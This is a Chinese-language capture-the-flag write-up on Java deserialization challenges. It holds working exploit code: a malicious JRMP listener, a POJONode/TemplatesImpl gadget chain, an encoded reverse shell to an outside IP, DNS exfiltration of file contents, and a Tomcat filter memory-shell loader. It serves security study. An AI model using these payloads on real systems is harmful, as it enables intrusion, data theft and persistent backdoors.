i-short-you-1 JRMP payload 首先记住这个点:
产生的这个obj,经过readObject后会往该服务器发送JRMP请求。
public static void main(String[] args) throws Exception{ String command = "118.89.61.71:17777"; String host; int port; int sep = command.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)); } ObjID id = new ObjID(1); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Object.class.getClassLoader(), new Class[] { Registry.class }, obj); System.out.println(URLEncode(Base64.getEncoder().encodeToString(serialize(obj))).length()); System.out.println(URLEncode(Base64.getEncoder().encodeToString(serialize(obj)))); // unserialize(serialize(obj)); }
那么我们需要一个恶意JRMP服务器,用于发送payload。
题目只有springboot依赖,所以确定利用链只能这么走:
BadAttr POJONode TemplatesImpl
ysoserial没有这个payload,要重写ysoserial的JRMPListener。
重写 JRMP Listener 看了官方wp后,我觉得我搞复杂了。下面是我的做法:
重写方式:
将ysoserial的JRMPClient复制到自己的项目,删去main方法,删去import yso自带的东西。
将ysoserial的JRMPListener复制到跟Client同一包下,删去import,然后main方法改为这个:
public static final void main ( final String[] args )throws Exception { final Object payloadObject = new Object(); try { int port = 17777; System.err.println("* Opening JRMP listener on " + port); JRMPListener c = new JRMPListener(port, payloadObject); c.run(); } catch ( Exception e ) { System.err.println("Listener error"); e.printStackTrace(System.err); } }
在doCall方法中,找到Reflections.setFieldValue,删掉。这附近有一个oos.writeObject(ex);
这个ex就是反序列化gadget入口。
将ex换成自己的payload。
new AgentLoader("org.example.JRMPListener").loadPOJONodeAgent(); TemplatesImpl templateImpl = Gadget.getTemplateImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"); POJONode pojoNode = Gadget.getPOJONode(templateImpl); BadAttributeValueExpException ex = Gadget.getBadAttributeValueExpException(pojoNode); oos.writeObject(ex);
其中new AgentLoader这一步,我自己实现了一个动态加载Agent的库,用于去除writeReplace方法的。
重写后的Listener、Gadget、AgentLoader这些代码在github
直接idea里启动。
部署 JRMP Listener 此时Listener就完成了,该如何部署?
直接部署到服务器麻烦,又配依赖,又配Agent,又要打包。我选端口转发。
公网跑frps。
[common] bind_port = 17000
本机跑frpc。
[common] server_addr = 118.89.61.71 server_port = 17000 [JRMP] type = tcp local_ip = 127.0.0.1 local_port = 17777 remote_port = 17777
启动JRMPListener,这个Listener监听本机17777。
发送payload到题目靶机,题目靶机访问vps的17777,vps的17777转发到我本机的17777。
注意,若打题目没成功,要重启题目。Listener被访问一次就要重启一次。
i-short-you-2 依赖只有springboot,没有反序列化黑名单, 只限制了长度3333。
readObject->toString的gadget用hashmap + HotSwappable + XString 组合,比badattr短。
然后就是马的字节码要尽量小。我这里用的字节码是无回显rce,使用dns回显。
这题用了两种做法:回显dns和分块传输打tomcat内存马。
出dns 首先封装一个rce的方法
public static void rce(String url,String cmd)throws Exception{ HashMap<String, String> params = new HashMap<>(); Object rce = wrap(SmallShell.rceHorse(cmd)); String rcebase = Base64.getEncoder().encodeToString(Util.serialize(rce)); params.put("payload",Util.URLEncode(rcebase)); Request.get(url,params); }
wrap,生成用于反序列化对象。
public static Object wrap(byte[] code) throws Exception{ TemplatesImpl o = Gadget.getTemplateImpl(code); // hashMap -> XString -> POJONode-> TemplatesImpl POJONode pojoNode = Gadget.getPOJONode(o); HashMap hashMapXString = Gadget.get_HashMap_XString(pojoNode); return hashMapXString; }
main方法
public static void main(String[] args) throws Exception{ // 第一个参数填JVM名字,即main方法所在的完全限定类名 // 第二个参数填jackson的那个agent包的路径。 new AgentLoader("org.vidar.Main2").loadPOJONodeAgent(); rce("http://139.224.232.162:32149/backdoor","ping \"$(cat /* 2>/dev/null |cut -c 1-20 | xxd -p).z8ozbi.dnslog.cn\""); sleep(); rce("http://139.224.232.162:32149/backdoor","ping \"$(cat /* 2>/dev/null |cut -c 21-50 | xxd -p).z8ozbi.dnslog.cn\""); }
分快传输打filter内存马 刚好看到这篇文章:https://developer.aliyun.com/article/863792,直接拿这题来开刀。
payload构造与exploit细节看这里 。
这exploit写了我整整一天,如下:
这exploit写了我整整一天,如下:
public class Main2 { public static void sleep(){ try { Thread.sleep(500); } catch (InterruptedException e) { throw new RuntimeException(e); } } public static Object wrap(byte[] code) throws Exception{ TemplatesImpl o = Gadget.getTemplateImpl(code); POJONode pojoNode = Gadget.getPOJONode(o); HashMap hashMapXString = Gadget.get_HashMap_XString(pojoNode); return hashMapXString; } public static void main(String[] args) throws Exception{ new AgentLoader("org.vidar.Main2").loadPOJONodeAgent(); exploit(); } public static void rce(String url,String cmd)throws Exception{ HashMap<String, String> params = new HashMap<>(); Object rce = wrap(SmallShell.rceHorse(cmd)); String rcebase = Base64.getEncoder().encodeToString(Util.serialize(rce)); params.put("payload",Util.URLEncode(rcebase)); Request.get(url,params); } public static void exploit()throws Exception{ String url = "http://139.224.232.162:32149/backdoor"; //存放请求参数 HashMap<String, String> params = new HashMap<>(); byte[] bigHorse = Util.fil2ByteArray("FilterShell.class"); System.out.println("bigHorse length: "+bigHorse.length); // 将上一次失败的结果删掉 rce(url,"rm /tmp/FilterShell.class"); sleep(); byte[][] bytes = Util.splitByteArray(bigHorse,100); for (byte[] aByte : bytes) { // 将字节数组转换成 {1,2,3,4,5} 的形式传给写文件马然后再编译成字节码 Object writeHorse = wrap(SmallShell.writeHorse(aByte,"/tmp/FilterShell.class")); String packet = Base64.getEncoder().encodeToString(Util.serialize(writeHorse)); System.out.println("writeHorse length: "+packet.length()); params.put("payload",Util.URLEncode(packet)); Request.get(url,params); sleep(); } // 传输 类加载马,让他加载 /tmp/FilterShell.class 文件 Object loaderHorse = wrap(SmallShell.contextloaderHorse("FilterShell")); String loaderHorseBase = Base64.getEncoder().encodeToString(Util.serialize(loaderHorse)); System.out.println("loaderHorse Length: "+loaderHorseBase.length()); params.put("payload",Util.URLEncode(loaderHorseBase)); Request.get(url,params); } }
此时的控制台
注意,这里没有用proxy使POJONode稳定触发,但我发现了个规律:触发getStyleSheetDom和getOutputProperties随机结果在在靶机开启时确定。如果第一次请求发现先调用的是getStyleSheetDom,那么以后所有请求调用的都是他。
这样就直接重启靶机,直到控制台没有出现getStyleSheetDom,说明先调用的是getOutputProperties。